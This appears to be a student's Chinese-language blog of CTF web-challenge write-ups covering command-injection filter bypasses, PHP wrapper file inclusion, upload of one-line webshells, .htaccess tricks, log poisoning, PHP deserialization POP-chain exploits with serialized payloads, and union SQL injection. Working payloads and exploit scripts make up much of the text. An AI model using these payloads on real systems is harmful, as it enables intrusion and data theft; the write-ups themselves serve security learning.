本文最后更新于 2026-06-04T20:33:22+08:00
paEasy_rce
用system函数,用ls命令查看目录
用ls /查看index.php下的根目录
用cat命令查看文件
补充:可以用passthru函数,可以直接回显
用exec,shell_exec函数,需套一个echo或者printf或者print_r或者var_dump
如果命令禁用,则写文件,将需要查看到的写入文件,用cat查看文件
写文件:?参数名=exec(‘cat /文件名 > 新的文件名’);
如果浏览器可以写文件则可直接查看新的文件
[SWPUCTF 2021 新生赛]easy_md5
看到php代码,知道需要get和post传参,get的参数名为name,post参数名为password,如果name的参数值不等于password的参数值并且md5弱比较两者的md5值需相等
以0e绕过md5检验得到flag
[SWPUCTF 2021 新生赛]PseudoProtocols
提示查找hint.php,运用php://filter伪协议绕过,构造payload:php://filter/read=convert.base64-encode/resource=hint.php
得到一串base64编码的密文,解码得到
更改url查看
分析源码第4行是文件包含,flag包含在flag.php文件中,第5行是get传参,参数名为a,第6行参数值为I want flag,file_get_contents()函数是用来读文件的,用于读取a文件内容,判断是不是那句话,然后问了学长说根据经验判断出是伪协议,最后一步就用data伪协议,将I want flag进行base64编码,构造payload:?a=data://text/plain;base64,SSB3YW50IGZsYWc=,得到flag(最后一步构造是ai给的,还在学伪协议)
或者也可以bp抓包,用input伪协议,修改请求方式为POST之后直接发送请求体
babyrce (Cookie注入 空格绕过)
分析源码是一个cookie验证admin=1,得到文件名
分析代码,第6行get参数为url,赋值给$ip,第7行检测ip值中是否含有空格,若有则显示nonono,所以需要绕过空格,第9行shell_exec函数是执行命令的函数,所以可以在参数名后直接输入命令(之前遇到的eval函数是用来执行代码的所以要加system或者其他执行命令的函数),用$IFS绕过空格(不能用%20绕过,%20是URL编码)
空格绕过,执行查看根目录的命令
查看flag文件
[LitCTF 2023]PHP是世界上最好的语言! php代码和linux命令
[LitCTF 2023]Ping
F12打开插件hackbar,输入的值ping之后发送,在POST中得到参数值
在POST命令后用&&或者|或者;链接符执行linuxs命令,查看flag
[SWPUCTF 2021 新生赛]jicao
考点:json格式
分析代码POST参数名为id,参数值为wllmNB,GET参数名为json,json_decode()函数是将括号中的内容进行json解码,所以要把json参数值进行json格式编码
json格式:由键值对组成{“键”:”值”}
这道题中键为x,值为wllm
[GXYCTF 2019]Ping Ping Ping
payload:?ip=127.0.0.1;b=lag;a=f;cat$IFS$9$a$b.php
flag,通配符,空格都被ban了,内联执行绕过,
[SWPUCTF 2021 新生赛]hardrce
无字母rce,就是一个简单的对命令取反
[SWPUCTF 2021 新生赛]finalrce
分析源码很多命令都被ban掉了,用tee命令写文件,|管道分隔符,ls,la都被ban了就用\绕过
还可以用bp但不用抓包
然后粘贴到网页,需加上curl(这是发送命令的请求),还需加上http://
后面用反引号``写入命令,因为ls都被ban掉了,用\绕过
每执行完一次命令后点击立即轮询查看http类型文件
[鹏城杯 2022]简单包含(文件包含脏数据)
文件包含在flag.php,根目录是/var/www/html,但存在waf,因为当前代码看不出来ban了什么,学长说这不是完整的代码,要看完整代码
/var/www/html是网站根目录
用filter伪协议查看index.php看到源码
if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))
同时满足POST 请求原始数据长度<800并且不包含flag就会回显nssctf waf
得到flag的base64编码
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
if ( substr($_GET["file"], 0, 3) === "php" ),改代码是看传入的内容前三个字母是否是php,用filter伪协议,base64解码
[鹤城杯 2021]EasyP(正则绕过)
这道题实在看不懂就看了wphttps://blog.csdn.net/qq_51295677/article/details/124237892
$_SERVER[…] :是一个包含了头信息,路径以及脚本位置等信息的数组, 根据中括号内传入的参数不同,返回不同的信息
basename():返回路径中的文件名部分
PHP_SELF’:返回当前执行脚本的文件名
首先要绕过正则使show_source不为空,并且使basename()值为utils.php, 所以我们要想办法绕**/utils.php/*$/i** 以及**/show_source/**这个正则匹配
只要在后面加个非ASCII码的东西就可以绕过
所以我们用%88或者只要是可以造成乱码的url编码就可以绕过**/utils.php/*$/i** 正则匹配
/show_source/用show[source或者show.source绕过
payload:/index.php/utils.php/%88?show[source=1
忘记名字了
解法一(Hackbar)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
解法2(bp)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
更改访问地址为/.a.php
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
[HCTF 2018]Warmup
一开始啥也没有,直接看源码
看到了source.php这个文件,访问它
题目代码
分析源码(代码审计)
1 2 3 4 5 class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ];
class emmm:定义PHP类,类名时emmm
checkFile:静态公共方法(不懂)
static:静态方法不需要实例化类
&$page:方法的参数 &表示引用传递(而非值传递),意味着在方法内部修改$page的值时,外部原始变量的值也会同步改变
$whitelist:文件自定义的白名单
“source”=>”source.php”,”hint”=>”hint.php”:
键
值
source
source.php
hint
hint.php
值对于允许访问的实际PHP文件路径(即服务器上存在的合法文件)
1 2 3 4 if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; }
第一个条件判断
isset($page):是否设置
is_string($page):内容是否为字符串类型
首先检查传入的$page参数是否为字符串类型, 如果不是或者未设置,将输出”you can’t see it”并返回false
1 2 3 if (in_array ($page , $whitelist )) { return true ; }
in_array($page, $whitelist):检查page中的内容是否存在定义的白名单$whitelist中
1 2 3 4 $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' )
mb_substr()函数:从字符串中提取子字符串
mb_strpos()函数:PHP中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置
mb_strpos($page . ‘?’, ‘?’):先用mb_strpo函数找到第一个?出现的位置, 然后使用mb_substr函数将问号之前的部分作为$_page进行处理
1 2 3 if (in_array ($_page , $whitelist )) { return true ; }
这是再次检查传入的$page是否直接存在白名单里
1 2 3 4 5 6 7 8 9 10 11 12 13 $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } }
urldecode($page):将$page中的内容进行url编码,然后重复mb_strpos和mb_substr两个函数的处理(同片段4),如果$_page在白名单中存在,返回true
1 2 3 4 5 6 7 8 9 if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; }
检查$_REQUEST[‘file’]中是否存在且为字符串类型,并调用emmm::checkFile方法进行检查
始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来
查看hint.php
通过../返回上级目录直到根目录,当前目录一般是/var/www/html
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
这是无回显和flag绕过
写文件
有多种写文件和绕过方法
payload
?cmd=cat /fl?? > 1.txt
?cmd=nl /fl?? | tee 2.txt
?cmd=nl /fl?? | tee 3.txt)
?cmd=nl /f* | tee 4.txt)
?cmd=nl /* | tee 5.txt)
[LitCTF 2023]作业管理系统
开头是登录界面,直接查看源码,得到用户名和密码都是admin
上传1.php文件,文件内容是一句话木马
看文件
蚁剑连接
根目录下看到flag
[SWPUCTF 2021 新生赛]easyupload2.0
写一个一句话木马
查看环境变量
然后要让服务器把传的文件当做PHP文件解析才行,将文件后缀名改为php会被禁用,用phtml绕过
然后查看上传的文件,系统会执行文件中的代码查看环境变量发现里面就有flag
[SWPUCTF 2021 新生赛]easyupload1.0
上传后缀名为phtml的文件绕过检验,然后bp拦截抓包
没反应,修改Content-Type的请求体改为image/jpeg,MIME绕过
修改POST请求查看上传的文件,系统执行了上传的php代码就可以看到环境变量了
[SWPUCTF 2021 新生赛]easyupload3.0
上传.htaccess文件
<FilesMatch “a.jpg”>
SetHandler application/x-httpd-php
作用是将a.jpg文件相当于传入的php文件,就是会让PHP解释器去解析jpg文件,把它当作php文件
然后上传1.jpg文件,内容为一句话木马
然后在网页看文件
根据传入的木马用POST传参查看环境变量,因为这里用ls /命令查看根目录下文件找不到flag
[GXYCTF 2019]BabyUpload
上传.htaccess文件
因为把php过滤掉了所以要用其他标签过滤
在网站查看然后蚁剑链接
[HNCTF 2022 Week1]easy_upload
上传一句话木马,bp拦截抓包
在网站查看路径
蚁剑链接
[MoeCTF 2022]what are y0u uploading?
上传一个jpg文件,内容是一句话木马,一开始上传了php文件被禁用了,进行bp抓包
更改文件名为flag.php
[HNCTF 2022 WEEK2]easy_include
php,flag,data几乎都被ban掉了,猜测是日志文件漏洞
Nginx默认日志路径是/var/log/nginx/access.log
可以进行日志文件包含,在User-Agent中写入恶意命令,然后包含日志文件从而得到命令的回显
[UUCTF 2022 新生赛]ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code )){ echo '看看你输入的参数!!!不叫样子!!' ;echo '<br>' ; eval ($code ); } else { die ("你想干什么?????????" ); } }else { echo "居然都不输入参数,可恶!!!!!!!!!" ; show_source (__FILE__ ); }
代码分析
主要看
1 if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code ))
很明显很多命令和函数都被ban掉了,我们需要绕过
绕过的方法想到引号..通配符还有编码这些,但*被ban了,最后的i表示数组被ban了,就只能用引号这些绕过
eval($code);将code值当作命令执行
当然首先要看的是传参类型很明显是GET
解题思路大概就是传参,命令绕过,然后将内容打印回显出来
payload:?code=var_dump(l\s /);)
var_dump()函数用来打印,应该也可以用print_r,printf这些,因为system被ban了,就用``反引号绕过,反引号可以执行命令,因为ls也被ban了,就用\给它绕过
payload:?code=var_dump(nl /fffffffffflagafag);
这一步就是绕过cat命令,有很多方式可以绕过,这里用nl代替cat,还可以像上面一样用\
或者payload:?code=var_dump(c\at /fffffffffflagafag);
但这道题感觉还能用无参尝试一下)
[第五空间 2021]WebFTP
感觉是一道登录题,先看环境变量phpinfo.php
能找到flag但应该是非预期
正常一开始就是bp抓包,弱口令爆破得到密码是admain888
登录成功就是这个页面
然后就不会了看了wphttps://blog.csdn.net/hiahiachang/article/details/123118953里面也讲了预期和非预期
到这一步就解不下去了,因为没下载到源码。。。)
[SWPUCTF 2021 新生赛]no_wakeup(__wakeup()方法绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->passwd; echo "No wake up" ; } } }$Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );?>
代码审计
1 2 3 4 public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; }
魔术方法__construct()创建对象时自动触发将$admin设为 “user”,$passwd设为 “123456”
1 2 3 4 5 public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }
魔术块__destruct()对象销毁时自动触发
该代码判断如果$admin===”admin”,passwd=== “wllm”则输出flag,否则无法输出
1 2 $Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );
正常序列化结果(属性数量为2)
1 O :6 :"HaHaHa" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
篡改属性数量,绕过__wakeup()
将数量2改为大于2的数
1 O :6 :"HaHaHa" :3 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
payload
1 ?p =O: 6 :"HaHaHa" : 3 : {s: 5 :"admin" ;s: 5 :"admin" ;s: 6 :"passwd" ;s: 4 :"wllm" ;};
[ZJCTF 2019]NiZhuanSiWei(文件包含伪协议php反序列化) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { highlight_file (__FILE__ ); }?>
if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”)
要求传入text文件,内容为welcome to the zjctf
利用两个伪协议得到base64编码
1 ?text =data://text /plain,welcome to the zjctf&file=php://filter /read =convert.base64-encode/resource=useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
在本地进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Flag { public $file ="flag.php" ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } }$a =new Flag ();echo serialize ($a );?> O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
构造payload
1 ?text =data://text /plain,welcome to the zjctf&file=useless.php&password =O:4 :"Flag":1 :{s:4 :"file";s:8 :"flag.php";}
[SWPUCTF 2021 新生赛]pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } }class w22m { public $w00m = ; public function __destruct ( ) { echo $this ->w00m; } }class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } }$w00m = $_GET ['w00m' ];unserialize ($w00m );?>
代码审计
echo $flag;
flag在w44m类中,因此我们最终是要调用w44m类中的Get
flag方法,admin和password要求为w44m和08067
echo $this->w00m;
w22m类中的echo会触发w33m类中的__toString()魔术方法
对三个类进行分析
若变量前是protected,则会在变量名前加上\x00*\x00
若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码
当类销毁时会输出$this->w00m
当w33m类的对象被当作字符串使用时触发__toString()方法
解题思路
首先是从w22m类的魔术方法入手,然后是w33m,因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
正确的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class w22m { public $w00m ; public function __construct ( ) { $this ->w00m=new w33m (); } }class w33m { public $w00m ; public $w22m ='Getflag' ; public function __construct ( ) { $this ->w00m=new w44m (); } }class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; }$j17 = new w22m ();echo urlencode (serialize ($j17 ));?>
运行结果:
1 O %3 A4%3 A%22 w22m%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w33m%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w44m%22 %3 A2%3 A%7 Bs%3 A11%3 A%22 %00 w44m%00 admin%22 %3 Bs%3 A4%3 A%22 w44m%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5%3 A%2208067 %22 %3 B%7 Ds%3 A4%3 A%22 w22m%22 %3 Bs%3 A7%3 A%22 Getflag%22 %3 B%7 D%7 D
payload:
1 ?w00 m= O%3 A4 %3 A%22 w22 m%22 %3 A1 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w33 m%22 %3 A2 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w44 m%22 %3 A2 %3 A%7 Bs%3 A11 %3 A%22 %00 w44 m%00 admin%22 %3 Bs%3 A4 %3 A%22 w44 m%22 %3 Bs%3 A9 %3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5 %3 A%2208067 %22 %3 B%7 Ds%3 A4 %3 A%22 w22 m%22 %3 Bs%3 A7 %3 A%22 Getflag%22 %3 B%7 D%7 D
[HUBUCTF 2022 新生赛]checkin(反序列化 弱比较) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; }?>
代码审计
1 2 3 if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }
只有当’username’=username,’password’=password时才会显示flag
1 2 $username = "this_is_secret" ; $password = "this_is_not_known_to_you"
因为开头已经修改了两个值并且未知因此不是简单赋值
然后看到代码1中==是弱比较
根据这个可以看出,true和非零非空字符串比较都为true
因此事实上只需要满足$data_unserialize[‘username’]==$true&&$data_unserialize[‘password’]==$true
即可回显flag
构造序列化exp
1 2 3 4 5 6 7 <?php $info = array ( 'username' =>true , 'password' =>true );echo serialize ($info );?>
运行结果为a:2:{s:8:”username”;b:1;s:8:”password”;b:1;}
构造payload
1 ?info =a:2:{s:8:"username" ;b:1;s:8:"password" ;b:1;}
[SWPUCTF 2022 新生赛]1z_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } }unserialize ($_POST ['nss' ]);highlight_file (__FILE__ ); ?>
代码审计
将a调用到lt
$a()这个格式表示把$a作为一个函数,其中的参数调用给lly
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='ls /' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:4:”ls /“;}
第一个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:4 :"ls /" ;}
第二步的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='cat /flag' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:9:”cat /flag”;}
第二个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:9 :"cat /flag" ;}
[SWPUCTF 2022 新生赛]ez_ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class X { public $x = __FILE__ ; function __construct ($x ) { $this ->x = $x ; } function __wakeup ( ) { if ($this ->x !== __FILE__ ) { $this ->x = __FILE__ ; } } function __destruct ( ) { highlight_file ($this ->x); } }if (isset ($_REQUEST ['x' ])) { @unserialize ($_REQUEST ['x' ]); } else { highlight_file (__FILE__ ); }
代码审计
看到__wakeup()魔术方法应该是绕过
使属性值比原有的大
构造POP链
1 2 3 4 5 6 7 8 <?php class X { public $x = __FILE__ ; }$a = new X ();$a ->x = "fllllllag.php" ;echo (serialize ($a ));
运行结果O:1:”X”:1:{s:1:”x”;s:13:”fllllllag.php”;}
绕过__wakeup()魔术方法
payload:
1 ?x =O: 1 :"X" : 2 : {s: 1 :"x" ;s: 13 :"fllllllag.php" ;}
[NISACTF 2022]babyserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); }?>
代码审计
1 2 3 4 5 public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); }
@eval($this->txw4ever)将txw4ever的内容当作php代码执行
__invoke()需触发这个魔术方法才能执行@eval函数
__invoke()触发时机是将内容作为函数调用,因此我们要找类似于函数的代码
这里可以找到$bb()是作为函数
1 2 3 4 public function __toString ( ) { $bb = $this ->su; return $bb (); }
$bb()将su的值给$bb并以函数形式执行
这串代码需要__toString()魔术方法
__toString()需要将属性作为字符串执行才可触发,即需要找echo或print或者if语句代码
1 2 3 4 5 6 7 public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } }
__set()魔术方法需给不存在的属性赋值才能触发
strtolower()函数:将字符串中的所有字母转换为小写形式
fun的值对应sixsixsix
令$a = new Ilovetxw(),strtolower()需要字符串因此可以触发__toString()魔术方法
1 2 3 4 public function __wakeup ( ) { $this ->ext->nisa ($this ->x); }
令$ext = new Ilovetxw():$this->ext->nisa($this->x);这里调用了不存在方法nisa,触发了__call()方法
1 2 3 public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; }
__call方法给$this->huang->fun赋值为$arg[0](即TianXiWei的$x)
绕过
*绕过 **NISA::__wakeup()的 hint *
只需确保NISA->fun不是”show_me_flag”,可设为任意值(如空字符串””)
*绕过 ***checkcheck()**函数
函数通过preg_match过滤危险字符,可使用PHP 变量名绕过或编码绕过
大概可以开始构造链子了
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("ls /");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload1
1 ?ser=O%3A9%3A"TianXiWei" %3A2%3A{s%3A3%3A"ext" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BO%3A4%3A"four" %3A2%3A{s%3A1%3A"a" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BN%3Bs%3A2%3A"su" %3BO%3A4%3A"NISA" %3A2%3A{s%3A3%3A"fun" %3Bs%3A3%3A"666" %3Bs%3A8%3A"txw4ever" %3Bs%3A15%3A"System(" ls +%2F")%3B" %3B}}s%3A9%3A"%00four%00fun" %3Bs%3A3%3A"abc" %3B}s%3A2%3A"su" %3BN%3B}s%3A1%3A"x" %3BN%3B}
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("cat /*");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload2
1 ?ser= O%3 A9 %3 A"TianXiWei" %3 A2 %3 A{s%3 A3 %3 A"ext" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BO%3 A4 %3 A"four" %3 A2 %3 A{s%3 A1 %3 A"a" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BN%3 Bs%3 A2 %3 A"su" %3 BO%3 A4 %3 A"NISA" %3 A2 %3 A{s%3 A3 %3 A"fun" %3 Bs%3 A9 %3 A"sixsixsix" %3 Bs%3 A8 %3 A"txw4ever" %3 Bs%3 A17 %3 A"System(" cat+%2 F*")%3B" %3 B}}s%3 A9 %3 A"%00four%00fun" %3 Bs%3 A3 %3 A"abc" %3 B}s%3 A2 %3 A"su" %3 BN%3 B}s%3 A1 %3 A"x" %3 BN%3 B}
[ISCTF2025]b@by n0t1ce b0ard
访问进去是一个注册页面在image中有一个文件上传,猜测是文件上传漏洞
上传一句话木马
有一个MIME绕过
根据文件夹中的已有头像得知上传的路径
payload
/images/1@qq.com /1.php
访问成功后蚁剑连接
ISCTF{48d85a4c-2174-41cb-9213-76b5b8fceeea}
[LitCTF 2023]导弹迷踪
玩游戏到第六关才有flag,(好奇玩了两把第一关都过不了
这种肯定先看源码,但是源码里面什么都没有
根据题目标签提示是js就看js文件,Level6就能看到flag
[SWPUCTF 2021 新生赛]easy_sql payload1
有回显说明不是数字型注入
payload2
有报错说明是字符型注入
payload3
1 ?wllm= 1 ' order by 3 -- +
利用order by语句判断name和password的列数
3的时候有正常回显说明不是3
4的时候报错无正常回显说明该数据库有3列
payload4
1 ?wllm=2 'union select 1 ,2 ,3
没看懂为什么变成2,不懂union select是什么意思网上暂时没找到
大体可以知道,网页上回显的内容是selec查询语句第二个参数和第三个参数的内容
payload5
1 ?wllm=0 'union select 1 ,2 ,database()
好像是查看数据库名称,需要wllm的值不等于1
payload6
1 ?wllm =2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db' --+
group_concat函数和information_schema.tables,就是查看‘test_db’数据库下有哪些表
payload7
1 ?wllm =2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='test_tb' --+
正常回显,有id和flag两列,那这个flag里的内容应该就是我们最终所需要的答案了。我们通过select查询语句让它把flag的内容回显。
payload8
1 ?wllm=2 'union select 1 ,2 ,flag from test_tb
